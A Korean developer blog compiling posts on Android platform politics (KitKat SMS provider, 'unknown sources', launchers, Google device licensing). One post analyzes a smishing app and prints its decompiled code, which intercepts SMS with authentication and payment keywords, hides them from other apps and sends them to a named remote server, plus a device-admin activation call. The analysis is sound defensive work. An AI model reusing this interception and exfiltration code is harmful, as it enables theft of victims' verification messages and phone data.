Kitkat 버전의 관전 포인트

Android 4.4 Kitkat 버전에서 많은 것이 바뀌었는데 대부분이 기술적인 진화였다면 일부 사항은 정책의 변화로 읽을 수 있습니다.

특히, SMS Provider라고 불리우는 부분의 변화는  Launcher 나 Browser같이 기존에 Intent 기반의 동작에 의해서 사용자에게 default application 설정을 물어보는 것이 아니라, SMS라는 특수한 기능에 대해서 default application을 설정하는 최초 사례라는 점에서 눈여겨볼 필요가 있다고 생각합니다.

default_home_screen

기존 Android 버전업과 달리 Kitkat에서 이러한 정책 변화가 왜 시작되었느냐를 따져보았을때, Google Hangout에서 SMS/MMS를 본격적으로 지원하기 위한 목적으로 SMS Provider라는 기능이 추가되었다는 점입니다.

(Credit: Jason Cipriani/CNET, http://goo.gl/nFH7Tb)

Google이 Hangout에서 SMS/MMS를 지원하기 위해서는  제조사별/기기별/통신사별 파편화를 극복해야 합니다. SMS/MMS를 지원하려면 극복해야 하는 파편화의 대표적인 문제점은 아래 2가지입니다.

  • ContentProvider의 URI가 제조사별/단말별로 각기 다른 문제 : URI가 다르면 메시지를 읽어올 수 없기 때문에 각 단말별 파편화된 URI 목록을 경험에 의해서 수집해야 합니다.
  • ContentObserver로 전달하는 URI 파라미터와 동작이 다른 문제 : SMS/MMS database에 추가/변경/삭제가 발생하는 경우 3rd party application이 이를 감지해야 하는 경우가 있는데 단말별로 동작이 다를뿐 아니라 정상적으로 동작하지 않는 단말이 있어서 정상적인 기능을 수행하지 못하는 경우도 있습니다.

이와 같이 3rd party application이 SMS/MMS를 지원하려면 엄청난 고통이 수반되고 그나마도 100% 호환성을 유지하지 못하기 때문입니다.  Google도 Hangout에서 이런 문제에 봉착했고 결국 Android의 규격을 변경하는 방법을 택한 것으로 보입니다.

이는 Google 서비스에 대한 노골적이고 직접적인 지원이고, Google이 Android를 본격적으로 자사에 유리하게 활용하기 시작했다고 의심하기 충분합니다.

  1. Google의 Hangout이 SMS/MMS 기능을 포함하는 시점에 Android 규격이 변경되었다.
  2. Platform과 Hangout application이 동시에 배포되었다.
  3. 여타 다른 배포와 달리 Kitkat SMS Provider는 Sample code가 제공되지 않아서 3rd party가 따라가는데 시간적인 장벽이 존재한다.

특히, 2번은 Microsoft가 Windows 버전 업그레이드시에 새로 포함된 기능이 Office에 바로 적용되던 나쁜 관행이 Android에서 재현되는 것 같아서 상당히 우려스럽습니다. GO SMS나 Handcent같은 SMS application이 아직 Kitkat을 지원하지 못하고 있는 상황에서 Hangout이 Platform의 기능을 선점해서 사용하는 것은 출발점이 다른 불공정한 경쟁이기 때문입니다.

추가적으로, SDK를 이용해서 날짜를 선택하는 Dialog를 띄우면 아래와 같이 날짜 선택 화면이 보여집니다.

Screenshot_2014-01-15-18-13-14

그런데, Kitkat에 기본 탑재된 달력에서 날짜를 선택하는 UI는 아래 보이는 화면처럼 상당히 직관적이고 개선된 Dialog를 사용합니다.

Screenshot_2014-01-15-18-09-39

3rd party application과 Google의 기본 탑재 application이 기본 UI에서부터 공정하지 못한 경쟁을 하고 있다는 것입니다.

이런 상황에서 제조사/통신사들은 경쟁을 위한 차별화만을 추구하면서 파편화를 심화시켜 Android 생태계가 위태로워지고 있습니다. 스타트업을 포함한 3rd party 개발사들이 파편화에 대응하는 비용이 계산이 쉽지는 않겠지만 작지 않은 비용이라고 어렵지 않게 추측할 수 있을 것 같습니다. 가뜩이나 Android 개발의 주도권이 Google에 있다보니 Google과 Android의 경계를 구분하기 어려워지고 있는 이 시점에 Google의 영향력에서 벗어나 자생력을 가지는 방향으로 시장 참여자들의 진지한 고민이 필요하다고 생각합니다. 국내 제조사와 통신사들이 경쟁에만 몰두하지 않고 생태계를 위한 아름다운 합의를 통해서 새로운 규격을 만들거나 기존 파편화 문제를 해결하는 노력을 한다면 Google의 영향력 못지 않은 영향력을 발휘할 수 있는 기반을 갖추고 있다고 보기 때문입니다.

예를들면, 아래와 같이 Launcher 아이콘에 표시되는 badge같은 사례가 될 것 같습니다. 비록 Android 표준은 아니지만 삼성/LG 단말에 이미 구현되어 있는데 해당 기능이 표준화되어 있지 않고 3rd party에게 열려있지 않아서 제조사 탑재 기본 어플과 제조사와 제휴를 맺는 일부 업체만 해당 기능을 사용하고 있기 때문입니다. 유용한 기능이라면 삼성/LG가 규격을 표준화해서 Google의 표준화 여부와 상관 없이 단말에 기능을 탑재해서 출시한다면 결국 표준으로 자리 잡지 않을까요?

facebook icon

‘알 수 없는 소스’에 대한 노파심

‘알 수 없는 소스’의 실체

최근에 잠시 주춤하지만 불과 얼마전 ‘돌잔치 초대‘라는 기발(?)한 아이디어로 전국민을 멘붕에 빠트리고 공중파 뉴스에 나올 정도로 스미싱이 핫이슈가 된 적이 있었습니다. 그동안 스미싱/피싱이 남의 일이라고 생각하고 체감하지 못했던 Android 사용자들에게는 어쩌면 큰 충격이었을테고 그 여파인지 몰라도 스미싱 관련한 글이 부쩍 증가했습니다. 아래 관련 글 링크 몇개 목록을 포함해서 스미싱 방지 대책을 보면 공통적인 사항이 하나가 있습니다.

  1. 스미싱(사기 문자) 유형 정리
  2. 스미싱 – 위키백과
  3. 스마트폰을 더 안전하게, 손쉽게 스미싱 피해를 막는 다섯가지 방법!

바로 ‘알 수 없는 소스‘ 체크 해제에 대한 안내입니다.

Screenshot_2014-01-08-09-33-16

알 수 없는 소스‘란 Google Play 스토어를 통하지 않고 ‘앱’을 설치하지 않도록 설정하는 기능인데, 사실 Google Play 스토어가 Apple의 앱스토어처럼 검수를 하는 것도 아니고 스미싱 피해를 방지하는 근본적인 대책은 아니라는 것입니다.

그럼, ‘알 수 없는 소스’ 체크 해지를 유도하는 경우에는 어떤 상황이 발생할까요?

제가 가장 우려하는 상황은 ‘Google Play Store 종속‘입니다. T-store같이 통신사를 통해서 제조사 출시 단말에 기본 탑재해서 출시하는 경우에는 T-store 앱이 시스템 권한을 가지기 때문에 ‘알 수 없는 소스’의 체크 여부와 상관 없이 동작하지만 ‘N스토어‘같이 통신사/제조사 조력을 받을 수 없는 3rd party 앱스토어의 경쟁력이 저하되고 새로운 앱스토어나 그에 준하는 기회가 사전에 박탈되면서 Google Play Store 독점 현상이 심화되는 것입니다.

그럼, Google에 종속되지 않으면서 ‘알 수 없는 소스’라는 설정을 통해서 사용자에게 제공하려는 안정성과 신뢰에 대한 가치는 어떻게 지키는 것이 좋을까요?

제가 생각하는 대안은, 사용자들이 싫어하는 쓸데 없는 통신사 로고 추가와 같은 노력을 할 시간에 피쳐폰의 WIPI 수준까지는 아니어도 통신사/제조사들이 협력해서 상생하고 생태계를 만들어가는 구심점을 만드는 것입니다. 예를 들자면 등록된 개발자(Signing key 또는 그에 준하는 방법)에 한해서 ‘알 수 없는 소스’가 아닌 것으로 단말이 인식하거나 하는 방법이 될 것 같습니다.

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Kitkat 버전의 관전 포인트

‘알 수 없는 소스’가 Google 서비스 Lock-in을 간접적으로 유도했다면, Kitkat 버전에서는 Google 서비스에 대한 노골적이고 직접적인 지원이 시작됩니다. 이번 Kitkat 버전에서 많은 것이 바뀌었지만 Google 서비스에 대한 직접적인 지원이라고 표현하는 부분은 바로 SMS 규격의 변화입니다. Google이 Android를 본격적으로 자사에 유리하게 활용하기 시작한 것으로 보이기 때문입니다.

  1. Google의 Hangout이 SMS/MMS 기능을 포함하면서 파편화 대응에 한계를 느꼈기 때문에 Android 규격을 바꿨다.
  2. Platform과 Hangout application이 동시에 배포되었다.
  3. 여타 다른 배포와 달리 Kitkat SMS는 Sample code가 제공되지 않아서 3rd party가 따라가는데 시간적인 장벽이 존재한다.

특히, 2번은 Microsoft가 Windows 버전 업그레이드시에 새로 포함된 기능이 Office에 바로 적용되던 나쁜 관행이 Android에서 재현되는 것 같아서 상당히 우려스럽니다. GO SMS나 Handcent같은 SMS application이 아직 Kitkat을 지원하지 못하고 있는 상황에서 Hangout이 Platform의 기능을 선점해서 사용하는 것은 출발점이 다른 불공정한 경쟁이기 때문입니다.

경쟁을 위한 차별화만을 추구하면서 통신사/제조사별로 파편화가 심해져서 Android 생태계가 위태로워지고 있고, 스타트업을 포함한 3rd party 개발사들이 파편화에 대응하는 비용이 계산이 쉽지는 않겠지만 작지 않은 비용이라고 어렵지 않게 추측할 수 있을 것 같습니다. 가뜩이나 Android 개발의 주도권이 Google에 있다보니 Google과 Android의 경계를 구분하기 어려워지고 있는 이 시점에 Google의 영향력에서 벗어나서 자생력을 가지는 방향으로 진지한 고민이 필요하다고 생각합니다.

Android 스미싱 사례 분석

얼마 전에 저희 팀 개발자에게 지방경찰청의 민사소송 출석요구서를 빙자한 스미싱 문자가 발송되었습니다.

스미싱_메시지통2
스미싱_sms

스미싱 방지 기능이 포함된 ‘메시지통‘ 개발자이기 때문에 스미싱임을 충분히 인지한 상태였지만, 문자 내용상으로 ‘경찰청’, ‘민사소송’, ‘출석요구서’ 등 일반인들에게는 충분히 위화감을 줄 수 있는 단어가 포함되어 있다보니 메시지를 받는 순간 가슴이 쫄깃쫄깃해졌다고 합니다.

이에 개발자가 열받아서 스미싱앱을 직접 다운받고 분석해서 일반인을 위한 내용을 저희 서비스 공식 블로그를 통해서 ‘스미싱 앱 수신부터 삭제까지~ (스미싱 앱 원리 파헤치기)‘라는 글을 발행하였습니다. 아무래도 개발자가 분석한 내용에 비해서 기술적인 내용이 많이 생략되었고, 개발자분들이야 맘만 먹으면 다 분석할 수 있는 내용이지만 저도 막상 스미싱앱을 직접 분석해본 적은 없었기에 개발자분들의 귀차니즘과 궁금증을 동시에 해소해드릴까 해서 글을 포스팅합니다.

1.앱의 권한

경찰청 출석요구서 스미싱앱의 권한은 SMS를 수집해서 특정 서버로 전송하는 기능을 수행하기 위한 권한을 포함하고 있습니다. “RECEIVE_MMS“나 “WAKE_LOCK” 등은 코드 분석결과 사용하지 않는 권한으로 확인되었습니다.

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_MMS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

2.주요 동작

앱 설치후 실행 시에는 사용자가 인지할 수 있는 동작은 수행하지 않습니다. 다만, 최초 구동 시에는 사용자가 모르게 http://126.114.228.119 URL로 단말 전화번호와 사용중인 통신사 정보를 전송합니다.

이후에는 SMS가 수신되면 ‘인증‘, ‘결재‘, ‘보호‘, ‘휴대폰‘, ‘번호‘, ‘www‘ 등의 문자열이 포함된 경우에 abortBroadcast() 호출을 통해서 다른 SMS 수신 앱으로 SMS가 전달되지 않도록 합니다. 다만, SMS receiver의 priority가 1000밖에 안되어서 모든 앱이 SMS를 수신하지 못하는 것은 아닙니다.

단말 전화번호와 사용중인 통신사 정보를 수집하는 부분과 특정 문자열을 포함한 문자메시지를 왜 서버로 전달하지 않는지는 추측하기 쉽지 않지만 기술적으로는 조금 허술하게 구현된 측면이 있습니다.

if (s1.indexOf("\uC778\uC99D") >= 0) { // 인증
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("\uACB0\uC81C") >= 0) { // 결재
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("\uBCF4\uD638") >= 0) { // 보호
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("\uD734\uB300\uD3F0") >= 0) { // 휴대폰
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("\uBC88\uD638") >= 0) { // 번호
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("www") >= 0) {
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

이렇게 특정 문자열에 대해서 abortBroadcast()로 SMS 수신앱에 전달되지 않게 한 이후에는 별도로 실행되는 Service를 통해서 SMS를 서버로 전달하게 됩니다.

public void onCreate() {
    super.onCreate();
    new Thread(new Runnable() {
        public void run() {
            while (true) {
                if (!clService.this.threadDisable)
                    return;
                try {
                    Thread.sleep(1000 L);
                    if (SMS.D) {
                        SMS.D = false;
                        String str = clService.this.tool.postHttpConnection(SMS.usehost, SMS.ponNum, SMS.towNum, SMS.comten);
                        Log.v("clService", "post:" + str);
                    }
                } catch (InterruptedException localInterruptedException) {}
            }
        }
    }).start();
}

3.특이사항

실제로 동작하지는 않지만 Device Admininistration 관련된 Code가 포함되어 있습니다.

Android 2.2부터 추가된 Device Policy Management는 단말의 Lock을 설정하거나 Data를 모두 지우거나 Password를 Reset하는 등의 단말 관리 정책을 사용하려고 시도 했다는 것인데, 보통은 Exchange 서버를 사용하는 Email앱을 사용할때 보여지는 화면이고 휴대폰의 분실 또는 기타 사유에 의해서 정보 유출을 방지하고자 선의로 사용되는 기능입니다.

ada

다음과 같은 코드로 기기 권한 활성화 Activity를 호출하고자 구현되어 있고 실제로 호출되었다면 단순 스미싱이 아닌 더 큰 재앙(?)이 될 뻔했습니다. 물론 기기 권한 활성화는 별도 사용자의 동의가 없이는 동작하지 않기 때문에 우려하는 재앙이 발생할 개연성은 높지 않으리라 봅니다만 악용하면 위험한 기능임에는 틀림이 없습니다.

private void startAddDeviceAdminAty()
{
    Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    localIntent.putExtra("android.app.extra.DEVICE_ADMIN", DAR.getCn(this));
    localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "테스트");
    startActivityForResult(localIntent, 10001);
}

Android Launcher 전쟁(?) 관람기

최근 여러 업체들이 약속이나 한 듯이 각자의 전략을 담은 Android Launcher들을 발표했습니다.

각 사의 launcher 발표에 대한 첫 느낌은 Web 기반의 인터넷 서비스 업체들이 mobile, 특히 Android에 대한 이해도가 높아졌다는 것이고, 이는 기존 iOS에서 앱기반으로 사용자 니즈를 충족하는 것과는 다른 나름대로 차별화된 전략을 구사하기 시작했다는 것을 의미하기 때문입니다.

Android 초기에는 Google과 제조사에서 제공하는 launcher는 정말로 application을 실행하기 위한  launcher 본연의 역할에만 충실했을뿐, 가장 개인화된 device인 phone의 Home(=Launcher) 역할을 수행하기에는 불편함이 많았고 이 틈새를 초기부터 집요하게 공략해서 성공한 어플이 ‘GO Launcher‘라고 볼 수 있습니다. GO Launcher가 나름 탄탄하게 시장을 구축하고 있을 때에도 인터넷 서비스 업체들은 launcher의 존재를 인지하지 못하고 홈에 검색 위젯을 설치하도록 유도하거나 독립 앱으로 포털의 경험을 mobile로 이식하려는 시도를 했었고 심지어 구글을 공정위에 제소하는 등의 법적인 대응까지 진행했었습니다.

어쨌거나 결과적으로 인터넷 서비스 업체들이 launcher의 존재를 인지하고 투자를 한다는 것은 매우 긍정적인 신호이지만 지금은 좀 늦지 않았나 하는 생각도 있습니다. 왜냐하면 Android 초기 상황과는 달리 Google에서 기본으로 제공하는 Home의 주요 기능이 플랫폼 기능과 밀착되기 시작했고 제조사들도 Home을 개발하는데 좀 더 많은 노력을 들이기 시작했다는 점 때문입니다.

facebook Home은 그림이 너무 크고 개념이 너무 멀리 나아가서 이 글에서는 네이버와 다음 위주로 이야기 해보고자 합니다.

제가 보기엔 현재 launcher에 대한 투자는 ‘밑 빠진 독에 물 붓기‘입니다. 그 이유를 열거하자면,

  1. Android의 platform 기능에 Home기능이 밀착될 수록 3rd party Home은 platform 진화를 따라가는데 버거울 것입니다.
    이는 기존에 Microsoft가 Windows OS에 application 기능을 밀착시키면서 경쟁 Office 제품군과  Borland 같은 Visual C/C++개발툴 경쟁 업체까지 몰락시킨 전례와 유사한 상황이 될 것이라고 보기 때문입니다. 또한, Android가 Open Source Project라고 하지만 Linux와 Platform 등의 source만 공개하고 Launcher source를 비롯한 주요 source들은 공개하지 않고 있어서 3rd party가 따라가기에는 생각보다 많은 공수가 투입될 것입니다.
  2. Google의 밥줄이기 때문입니다.
    Google이 GMS license를 통해서 Home에 Google 검색을 기본으로 탑재하고 있는데, Android 플랫폼에 대한 엄청난 투자에도 불구하고 3rd party가 Home을 점령해서 Google의 검색 시장을 뺏어가는 것을 가만히 두고 볼리가 없습니다. 혹자가 얘기하는 Google이 3rd party Home이 Google Play Store에 등록되는 것을 거부할 것이라는 등의 방법 말고도 fast mover 전략을 통해서 3rd party Home이 따라오기 충분히 어렵게 할 수 있습니다. 어쨌거나 3rd party Home은 단말기를 교체했을 때 새로 다운로드 받아서 설치해야 하는 번거로움이 여전히 존재하기 때문입니다.
  3. 제조사 변수
     제조사가 인터넷 서비스 업체만큼 Home에 대해서 절박하거나 Google 처럼 밥줄이 달려있거나 하지 않지만 그들 나름대로의 치열한 시장 점유율 경쟁을 위해서 3rd party Home이 가지는 장점들을 단말기 출시 시점에 기본 Home에 이식할 것이고, 그 외에도 제조사는 Home을 비롯한 기본 application에 루트권한을 부여하는데 제약이 있는 것이 아니기 때문에 3rd party가 상상할 수 있는 그 이상을 언제든지 보여줄 수 있는 기득권이 있는 상태입니다. 물론, HTC가 Sense UI를 적용하고 삼성이 TouchWiz라는 독자적인 UI 노선을 고집하면서 Android platform 진화에 상대적으로 느리게 따라오는 취약점은 있지만 언제든지 보완이 가능한 취약점이기 때문에 3rd party Home이 제조사를 아프게 하기는 힘들 것입니다.
  4. Google과 제조사가 고민하지 않는 “왜 런처를 바꿔야 하지?”에 대한 질문과 고민을 3rd party Home은 끊임없이 해야 합니다.
    3rd party Home이 단기간 차별화 전략을 통해서 성공할 수 있겠지만 Home에 대한 완성도는 어느 시점 이후에는 대동소이할 것이고 사용자는 굳이 런처를 바꾸지 않아도 불편함을 느끼지 않는 시점에 도달하게 될 것입니다.

이러한 이유로 3rd party Home은 ‘밑빠진 독에 물 붓기’일 것이며 완벽한 레드오션이라고 생각합니다.

다만, 네이버와 다음 같은 회사는 밑빠진 독에 물을 부어서라도 각자의 플랫폼으로 사용자를 유도하는데 충분히 효과적인 전략이기 때문에 하는 것이 맞다고 봅니다. 그렇지만 GO Launcher의 성공을 보며 별도 플랫폼 없이 독자 application만으로 승부하고자 한다면 도시락 싸가지고 다니면서 말리고 싶습니다.

네이버와 다음도 기존에 검색 위젯을 바탕화면에 설치하고자 했던 단순한 시각에서 벗어나서 Home으로 눈을 돌린 만큼 사용자들에게 Home을 설치하도록 유도하는 단순 마케팅에서 벗어나서 Home에서 시작하는 Android의 UX를 어떻게 ‘네이버스럽게’, ‘다음스럽게’ 전개할지에 대한 진지한 고민이 병행되어야 한다고 생각합니다.

네이버와 다음의 Home 1차 전쟁은 투자를 통해서 대체제를 확보한 다음보다는 아무래도 개발자를 내부에 영입한 네이버의 1차 승리가 아닐까 생각합니다. 물론 네이버의 Home이 제조사의 것이나 마켓에 있는 여러 Home보다 낫다고 생각하지는 않습니다만 내부 서비스와 연계하여 전략 방향을 일치시킬 수 있다는 점에서는 유리한 고지를 점령한 정도라고 생각합니다. 또한, 네이버나 다음이나 뭐가 그리 급했는지 완성도 떨어지는 앱을 출시해서 사용자에게 실망을 안겨준 점은 앞으로 Home의 확산에 큰 장애 요소가 될 것 같습니다.

네이버나 다음이 밑빠진 독에 물을 부어서라도 mobile 시장, 특히 Android 시장에서 패권을 차지하기 위한 마중물의 역할을 충실히 수행하게 하고 싶다면 내부에서 개발자들이 GED폰을 ‘레퍼런스폰‘이라고 부르는 무개념부터 바꿔야 하고 Home에서 시작되는 NED(Naver Experienced Device), DED(Daum Experienced Device)에 대한 개념 정립부터 시작하는 것이 맞는 순서라고 봅니다.

ps. 글을 올린 이후 받은 몇가지 피드백에 대해서 보완합니다.
1. Android 기본 Launcher는 Open source에 포함되어 있습니다. (제가 이 부분은 미처 몰랐습니다)
2. 제조사 소스에는 해당 부분을 공개하지 않습니다.

Platform vs. Product

조금 늦은 감이 있는데 얼마 전(2012/12/24)  ZDNET Korea에 삼성, 여우 피하니 범…“안드로이드 끊겨?”라는 기사가 실린 적이 있습니다. 처음에 이 기사를 보고 너무 황당해서 페북에 간단한 개인적인 의견을 표명하고 말았는데 트위터나 블로그에서 알만한 분들조차 의외로 기사 내용에 동조하거나 이미 예견된 수순이라 등의 의견 표명을 하는 것을 보고 조만간 관련해서 글을 써야지 생각만 하다가 뒤늦게 해를 넘기게 되었네요.

기사의 내용의 핵심은,

‘구글이 더 이상 Android를 공유하지 않으려는 움직임이 점점 더 뚜렷해지고 있다.(It’s becoming abundantly clear that Google doesn’t want to share Android anymore)’

이고,  그 근거로 제시한 것은 오로지

  • 구글이 모토로라와 새해에 이른바 X폰 프로젝트를 통해 X폰을 만들고 있다는 월스트리트저널 보도

뿐입니다.

먼저, 구글이 모토로라와 X폰을 개발한다는 내용을 짚어 보면

  1. 구글이 모토로라와 밀월 관계로 자사의 정확한 규격에 맞춘 새로운 스마트폰을 개발한다.
    그 동안 모토로라가 구글과 밀월 관계가 아니어서 스마트폰 시장에서 고전하다가 분사하고 매각되는 처지가 되었을까요? 구글과 모토로라가 밀월 관계로 개발하는 것이 삼성/엘지와 같은 기존 제조사에 어떤 위협이 될까요?
  2. 구글, 자체 스마트폰에만 안드로이드 최신버전을 공급한다면
    Android를 구글이 주도적으로 개발하는 것은 맞지만, Android는 Open Handset Alliance의 소유입니다. 이미 삼성/엘지도 일찌감치 OHA 정식 회원사이기 때문에 최신 버전에 언제든지 접근이 가능합니다. 마음만 먹으면 최신 버전을 공급하는데 제약이 없다는 것이죠.
  3. Android 최신버전의 경쟁력?
    아무래도 구글에서 최신 버전을 다 만들어서 주는 것 보다 제조사가 직접 만들면 시간이 조금 더 걸리는 것은 불가피할 것입니다. 그럼, Android의 최신 버전이 기존 제조사의 경쟁력에 치명타를 줄 만큼 중요한 요소일까요?
    Jelly-Bean 버전이 2012년 6월말에 Google I/O에 발표하고 오늘이 2003년 1월 19일이니 6개월 조금 더 지났는데 점유율은 10.2%에 지나지 않습니다. 현재 시점에 가장 많이 팔린다는 삼성의 Galaxy S3도 Gingerbread 버전으로 배포되었고, 얼마 전에 Ice Cream Sandwich 버전 업그레이드가 이루어졌습니다.

    Version Codename API Distribution
    1.6 Donut 4 0.2%
    2.1 Eclair 7 2.4%
    2.2 Froyo 8 9.0%
    2.3 – 2.3.2 Gingerbread 9 0.2%
    2.3.3 – 2.3.7 10 47.4%
    3.1 Honeycomb 12 0.4%
    3.2 13 1.1%
    4.0.3 – 4.0.4 Ice Cream Sandwich 15 29.1%
    4.1 Jelly Bean 16 9.0%
    4.2 17 1.2%

    The following pie chart and table is based on the number of Android devices that have accessed Google Play within a 14-day period ending on the data collection date noted below.
    Data collected during a 14-day period ending on January 3, 2013

이상 기사 내용 기준으로 큰 항목별로 나름 반박을 해봤는데 이렇게까지 반박해야 할 가치가 있는 기사 인지는 잘 모르겠습니다.

Platform과 Product를 이해한다면, Google이 Android를 왜 만들었으며, 왜 무료로 배포를 했으며 어떤 과정으로 시장에서 독점적인 지위를 가지고 있는지를 알 수 있기 때문에 Android에 대한 독점적인 권리 행사가 Google에게 얼마나 치명적인 행위인지를 설명하지 않아도 되기 때문입니다.

물론, Google이 Android를 주도적으로 개발하고 Android에 Google 서비스가 밀접하게 연결되어 있다보니 Google의 Product와 Platform을 혼동하는 분들을 주변에서 종종 마주치기는 합니다.

Google이 지금의 Mobile 시장에서의 지위가 Android가 없었다면 가능했을까요? 그럼 앞으로 Android가 없어도 지속 가능할 지위일까요?

Google의 Gmail, Chrome Browser, YouTube, Google map, … 등의 수많은 Google의 Product는 Android라는 Platform이 있었기 때문에 mobile에서도 영향력을 확장할 수 있었고, Android가 지속적으로 흥행을 해야 유지가 가능한 영향력이기 때문에 Google은 앞으로도 Android를 독점적으로 사용하고자 하는 일은 없을 것입니다.

제 facebook에 한 지인 분이 ‘Tizen으로 정책지원하려는 여론 형성용‘이라는 의견을 주셨습니다. 일정 부분 개연성도 있다고 봅니다만, Android라는 생태계는 iOS에 대항할 수 있는 플랫폼이 절실하게 필요했던 통신사/제조사와 mobile에 진출하고 싶었던 Google과의 절묘한 이해관계에 의해서 탄생한 것이므로 인위적으로 조절하거나 새로운 생태계를 만들기는 언제나 실패할 것입니다. WIPI 가 그랬고 최근 Windows도 그렇구요…

구글폰에 대한 오해와 진실

Android 관련하여 잘못 알려지거나 제대로 알려지지 않은 정보가 워낙 많은데 그 중 하나가 GED(Google Experience Device)가 아닐까 합니다.

Nexus One, Nexus S, Galaxy Nexus 등이 대표적인 GED 단말입니다.
결론부터 말씀드리자면, GED는 Android 레퍼런스 폰이 아닙니다. 굳이 적합한 용어를 붙이자면 GED는 그냥 구글폰입니다.

Google에서 근무하시는 @mickeyk 님의 블로그에서도 레퍼런스폰이 아닌 구글폰이라고 부르고 있다는 것을 알 수 있습니다.

구글폰과 레퍼런스폰의 용어에 대해서 지적하는 이유는 용어로 인해서 Android와 Google이 동일시 되는 경향이 있고 Android와 Google을 동일시 하는 것이 단기적으로나 장기적으로나 Android 플랫폼 입장에서는 입지가 좁아지는 문제가 발생하고 Android가 Google 서비스에 종속되는 것이 당연시 되는 시장 분위기 형성에 문제가 있다고 판단하기 때문입니다. Google 서비스에 최적화된 또는 Google 서비스가 탑재된 Android만을 가정하고 개발하는 상황이 지속적으로 이어지고 있고 다양한 분야에서 Android 플랫폼 적용에 상상력이 발휘되지 않는 것이 우려스러운 면도 있기 때문입니다.

Android가 OHA(Open Handset Alliance)라는 연합 형식을 취하고 있기는 하지만 실제적으로 Google이 모든 것을 주도한다는 것은 알만한 사람들은 다 아는 사실입니다. 이 사실로 인해서 소위 전문가라고 하는 사람들도 Android와 Google을 묶어서 혼동하거나 종종 구분하지 못하고 있습니다.

트위터에서 많이 회자된 “안드로이드를 싫어하는 이유“라는 글을 봐도 Android와 Google을 초반에는 구분하는 것 처럼 보이지만 결론적으로 동일시하고 있습니다. 이 글에서는 이통사를 “공공의 적”으로 규정하고 이통사와 손잡은 Google을 아주 나쁜놈 취급하면서 결과적으로 Android가 나쁘다고 논리는 전개하고 있는데요. 이와 관련해서는 이번 포스팅 주제와 맞지 않기 때문에 간단히 짚고 넘어가고 기회가 되면 나중에 따로 제 생각을 정리해보겠습니다.

진보를 꿈꾸던 자가 자신이 원하는 진보를 이루면 또다른 보수가 되어 다른 진보를 막고자 하는 의지가 생기는 것같다.“라고 지인께서 제 페이스북에 댓글로 남겨주셨는데 저 블로그 내용대로 애플과 구글이 이통사를 이겼다고 해도 결국은 이통사가 하던 짓을 애플과 구글이 할 것이라는 것이 제 기본적인 생각입니다.

다시 GED 얘기로 돌아오면, Android에는 GED, GMS, Non-Google(정식용어는 아니지만 이 의미가 가장 적합할 듯 합니다)의 3가지의 라이선스가 있습니다.
앞서 언급하였듯이 Nexus One, Nexus S, Galaxy Nexus 등의 레퍼런스폰이라고 잘못 불리는 폰들은 Google의 서비스를 제대로 사용하기 위해서 Google 주도하에 제조사의 협력으로 만들어지는 GED단말들입니다. Android 라이선스에 대한 자세한 사항은 “제 3자에 의한 Android Market” 블로그 내용을 참고하시기 바랍니다.

  • GED는 Google이 단말 제조과정에 전반적으로 개입해서 철저하게 Google 입장에서 기기를 만드는 것입니다. 당연히 Google 서비스에 최적화 되고 Google이 맘대로 만들 수 있기 때문에 Android의 주요 버전을 출시하는 과정에서 GED 단말과 함께 출시하다보니 레퍼런스폰이라고 많은 분들이 오해하시는 것으로 보입니다.
  • GMS는 GED와는 달리 Google의 개입없이 제조사가 독립적으로 기계를 만들지만 Google Android Market(이후 Market)에 접속하는 댓가로 Google의 기본 서비스 application(Gmail, Google maps, YouTube, Market, GTalk, … 등)을 제조 과정에서 pre-install하며 Market에 접속해도 문제가 없는 단말인지 호환성을 확인하는 과정(CTS)을 거치고 CTS 인증을 통과해야만 시장에 출시해서 Market에 접속이 가능합니다.
  • Non-Google은 Android의 open source를 사용하지만 Google과 별도 라이센스 계약을 할 필요가 없고 이로 인해 Market에 접속하지 못하며 Gmail, Google maps를 비롯한 Google service application도 탑재하지 못합니다. 호환성 여부는 제공되는 CTS를 통해서 독자적으로 확인이 가능하고 별도 인증 절차도 필요 없기 때문에 네비게이션이나 PMP같은 Network 연결 없이 사용 가능한 embedded device에서 사용이 가능하고, 중국의 OPhone 처럼 독자적인 플랫폼으로도 변형해서 사용 가능합니다.

여기서, GED/GMS 라이선스에 의해서 탑재되는 Google application이나 이통사가 탑재하는 application이나 사용자 시점에서는 서비스 사용을 강요 당하는 입장이기 때문에 마찬가지라고 보이는데 유독 이통사의 pre-install application에 대해서는 시장에서 반감이 많습니다. 이 시점에서 “욱”하는 분들이 일부 있을 듯 한데 제가 이통사 편을 들고자 하는 것이 아니니 참고 넘어가주시기 바랍니다.
동일 연장선 상에서 봤을때 아이폰/아이패드는 Apple Experience Device이고 애플의 application을 탑재해서 애플 서비스를 사용하도록 사용자에게 강요하는 측면에서는 다르지 않아 보입니다.

그런데, 아이폰과 Android폰에는 어떤 차이가 있기에 어떤 기계는 열광하면서 사용하고 어떤 기계는 수많은 안티를 양산해가면서 시장에서 미운오리새끼 취급을 받을까요?
답은 모두 다 아시다시피 동일하게 강요 당하지만 제공 받는 서비스로 인한 사용자 경험이 다르기 때문일 것입니다.

